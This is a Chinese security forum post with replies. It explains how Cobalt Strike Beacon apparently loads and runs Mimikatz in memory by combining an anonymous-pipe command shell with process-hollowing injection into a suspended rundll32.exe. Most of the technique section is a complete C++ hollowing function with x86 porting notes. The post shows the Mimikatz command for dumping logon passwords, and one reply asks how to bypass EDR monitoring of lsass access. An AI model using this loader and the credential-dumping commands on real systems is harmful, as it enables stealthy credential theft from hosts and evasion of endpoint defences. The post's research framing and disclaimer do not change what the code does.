首页
社区
课程
招聘
[原创]Cobalt Strike 内存加载执行 Mimikatz 命令研究
2023-10-24 12:23 9842

[原创]Cobalt Strike 内存加载执行 Mimikatz 命令研究

2023-10-24 12:23
9842

 经过研究发现,Cobalt Strike 很可能通过普通的 cmd 命令终端功能,并结合傀儡进程(又称“进程镂空”)注入功能,完成内存加载执行 Mimikatz 等命令行命令的功能。


01

普通的CMD命令终端


普通的CMD命令终端代码比较简单,可自行百度搜索相关代码。这里仅叙述一下过程:

  1. 使用 CreatePipe 创建匿名管道,设置读、写句柄;

  2. 使用 CreateProcessA 创建进程,用于运行 CMD 命令行程序;将匿名管道“写”句柄应用于进程的标准输出和标准错误,并立即执行进程;

  3. 循环从匿名管道“读”句柄获取 CMD 命令行程序的输出信息。


02

傀儡进程注入


傀儡进程注入,又称“进程镂空注入”,该技术将卸载目标进程的内存镜像,并注入新的PE镜像,并将 CPU 执行流 指向新的 PE 镜像的入口点。

主要注意三点:

  1. PE 镜像对齐方式,由文件对齐转换为内存对齐;

  2. 一般要修复地址重定位表;

  3. 无需填充导入表,由系统自动完成。

傀儡进程注入代码可以参考下面这个不错的 github 项目:

项目描述:x64 项目,通过傀儡进程注入 x86/x64 进程

https://github.com/adamhlt/Process-Hollowing


03

CS Beacon 内存加载 Mimikatz


在内存加载 PE 镜像的时候,EXE 程序具有命令行参数传递的特性,也就是说正在运行的 EXE 程序的命令行参数,会传递给内存加载的 PE 镜像,所以,内存加载的 PE 镜像也同时拥有了当前运行 EXE 程序的命令行参数。

举个例子:

我们使用控制台程序内存加载 Mimikatz,控制台程序文件名为 demo.exe,控制台程序命令行是:“demo.exe privilege::debug sekurlsa::logonpasswords exit”,被内存加载的 Mimikatz 获取的命令行也是:“demo.exe privilege::debug sekurlsa::logonpasswords exit”,但是 Mimikatz 执行命令,并不检测命令行中的文件名是否是自己的文件名,它只关注后面的命令行参数,所以 demo.exe 可以正常执行 Mimikatz 命令。

而本文提到的 CS Beacon 内存加载 Mimikatz 技术,正好利用了 EXE 程序命令行参数传递这点——通过以暂停方式创建新进程 rundll32.exe,并传递命令行参数 “rundll32.exe privilege::debug sekurlsa::logonpasswords exit”,之后,将 Mimikatz 文件数据由文件对齐转换为内存对齐、修复地址重定位表,并将处理后的 Mimikatz 内存数据,导入 rundll32.exe 进程中,修改 rundll32.exe 进程的 CPU 执行流,使其指向 Mimikatz 镜像入口点,最后恢复主线程。这样,Mimikatz 命令就能成功执行了,但是我们需要 Mimikatz 命令回显,没有回显,该技术就没有意义。关于这一点,直接使用原始CMD终端的匿名管道读写句柄技术即可,没有变化,也无需改变。

总结一点,CS Beacon 内存加载 Mimikatz 技术几乎是原始CMD终端技术和傀儡进程注入技术的简单加和。

下面这个函数代码可以说明上述技术思想:

    // x64 Beacon 傀儡进程注入 x64 进程
    DWORD RemoteMemoryLoadExecute(const char* szCurDir, const char* cmd, const char* szExeData, string& cmdRetInfo)
    {
      const int len = 5120; // 5KB
      char result[len] = {};
      cmdRetInfo = "";
    
      DWORD dwRead;
      HANDLE hRead = NULL, hWrite = NULL;
    
      SECURITY_ATTRIBUTES sa = {};
      sa.nLength = sizeof(SECURITY_ATTRIBUTES);
      sa.lpSecurityDescriptor = NULL;
      sa.bInheritHandle = TRUE;
    
      if (!CreatePipe(&hRead, &hWrite, &sa, 0))
      {
        return GetLastError();
      }
    
      STARTUPINFO si = {};
      PROCESS_INFORMATION pi = {};
      si.cb = sizeof(si);
      si.wShowWindow = SW_HIDE;
      si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
      si.hStdOutput = hWrite;
      si.hStdError = hWrite;
    
      if (!CreateProcessA(NULL, (char*)cmd, NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, szCurDir, &si, &pi))
      {
        DWORD dwErr = GetLastError();
        CloseHandle(hRead);
        CloseHandle(hWrite);
        return dwErr; // 进程创建失败
      }
    
    
      LPVOID lpLocalMemBaseAddr;
      DWORD dwImageSize;
      DWORD dwErr = LoadToMemory(szExeData, lpLocalMemBaseAddr, dwImageSize);
      if (dwErr != ERROR_SUCCESS)
      {
        return dwErr;
      }
    
      LPVOID lpRemoteBaseAddr = VirtualAllocEx(pi.hProcess, NULL, dwImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
      if (lpRemoteBaseAddr == NULL)
      {
        return GetLastError();
      }
    
      LPVOID lpRemoteEntryAddress;
      RelocateImage((LPBYTE)lpLocalMemBaseAddr, (LPBYTE)lpRemoteBaseAddr, lpRemoteEntryAddress);
    
      SIZE_T nSize;
      if (WriteProcessMemory(pi.hProcess, lpRemoteBaseAddr, lpLocalMemBaseAddr, dwImageSize, &nSize) == FALSE) return GetLastError();
    
      SetCodeSegmentOnReadExec(pi.hProcess, (LPSTR)lpLocalMemBaseAddr, (LPSTR)lpRemoteBaseAddr);
      VirtualFree(lpLocalMemBaseAddr, 0, MEM_RELEASE);
    
      CONTEXT threadContext = { 0 };
      threadContext.ContextFlags = CONTEXT_FULL;
      if (GetThreadContext(pi.hThread, &threadContext) == FALSE) return GetLastError();
    
      if (WriteProcessMemory(pi.hProcess, (LPVOID)(threadContext.Rdx + 0x10), &lpRemoteBaseAddr, sizeof(lpRemoteBaseAddr), &nSize) == FALSE) return GetLastError();
    
      threadContext.Rcx = (DWORD64)lpRemoteEntryAddress;
    
      if (SetThreadContext(pi.hThread, &threadContext) == FALSE) return GetLastError();
    
      ResumeThread(pi.hThread);
    
      WaitForSingleObject(pi.hProcess, 2000);
    
      CloseHandle(pi.hProcess);
      CloseHandle(pi.hThread);
      CloseHandle(hWrite);
    
      time_t start_time = time(0);
    
      while (ReadFile(hRead, result, sizeof(result), &dwRead, NULL))
      {
        string temp(result, dwRead);
        cmdRetInfo += temp;
    
        Sleep(180);
      }
    
      CloseHandle(hRead);
    
      return 0;
    }


    04

    备注


    上述方法,讲述了 x64 Beacon 内存加载 x64 Mimikatz 的技术。如果要完成 x64 Beacon 内存加载 x86 EXE 命令行程序的技术,其要点主要有以下几点不同:

    1. 内存加载代码需要x86平台化,不能使用当前的基于x64平台的内存加载代码;

    2. 内存加载的PE基地址,由 threadContext.Rdx+0x10 变为 threadContext.Ebx+0x8;

    3. 内存加载的PE入口点地址,由 threadContext.Rcx 变为 threadContext.Eax;

    4. GetThreadContext -> Wow64GetThreadContext;

    5. SetThreadContext -> Wow64SetThreadContext。

    参考项目:https://github.com/adamhlt/Process-Hollowing


    05

    参考链接


    https://github.com/adamhlt/Process-Hollowing


    06

    声明


    本文所述方法,仅供安全研究使用。凡擅自用于违法用途,将被追究法律责任。其违法行为均与本人无关。特此声明!


    原文链接:Cobalt Strike 内存加载执行 Mimikatz 命令研究 (qq.com)


    [培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

    最后于 2023-10-24 12:32 被bigbang95编辑 ,原因:
    收藏
    点赞3
    打赏
    分享
    最新回复 (7)
    雪    币: 7
    活跃值: (939)
    能力值: ( LV3,RANK:30 )
    在线值:
    发帖
    回帖
    粉丝
    网络游侠 2023-10-24 18:46
    2
    0
    这个不是全完PELoader加载,僵尸进程注入而已
    雪    币: 420
    活跃值: (574)
    能力值: ( LV3,RANK:20 )
    在线值:
    发帖
    回帖
    粉丝
    bigbang95 2023-10-25 17:10
    3
    0
    网络游侠 这个不是全完PELoader加载,僵尸进程注入而已
    基本是的,另外还用到了命令行参数传递的技术,最终在类似 CS 的控制端就可以直接输入 ”Mimikatz  privilege::debug sekurlsa::logonpasswords exit“ 执行命令行并获得回显了
    雪    币: 19299
    活跃值: (28938)
    能力值: ( LV2,RANK:10 )
    在线值:
    发帖
    回帖
    粉丝
    秋狝 2023-10-30 09:36
    4
    1
    感谢分享
    雪    币: 7
    活跃值: (939)
    能力值: ( LV3,RANK:30 )
    在线值:
    发帖
    回帖
    粉丝
    网络游侠 2023-10-30 15:54
    5
    0
    edr基本都会拦截
    雪    币: 600
    活跃值: (478)
    能力值: ( LV3,RANK:20 )
    在线值:
    发帖
    回帖
    粉丝
    time.time 2024-3-20 10:40
    6
    0
    网络游侠 这个不是全完PELoader加载,僵尸进程注入而已
    大佬,如果自己实现PELoader加载Mimikatz,edr不会拦截嘛。Mimikatz在打开lsass进程句柄和dump内存的时候应该会被监测到吧,这块怎么绕过呀。
    雪    币: 3663
    活跃值: (3843)
    能力值: ( LV2,RANK:10 )
    在线值:
    发帖
    回帖
    粉丝
    caolinkai 2024-3-20 12:04
    7
    0
    这方面的内存加载 落后 论坛 好多
    雪    币: 420
    活跃值: (574)
    能力值: ( LV3,RANK:20 )
    在线值:
    发帖
    回帖
    粉丝
    bigbang95 2024-3-29 09:50
    8
    0
    caolinkai 这方面的内存加载 落后 论坛 好多
    哈哈,只是做了初步研究,大佬,还有什么其他好的“内存加载”的方法不,还望不吝赐教
    游客
    登录 | 注册 方可回帖
    返回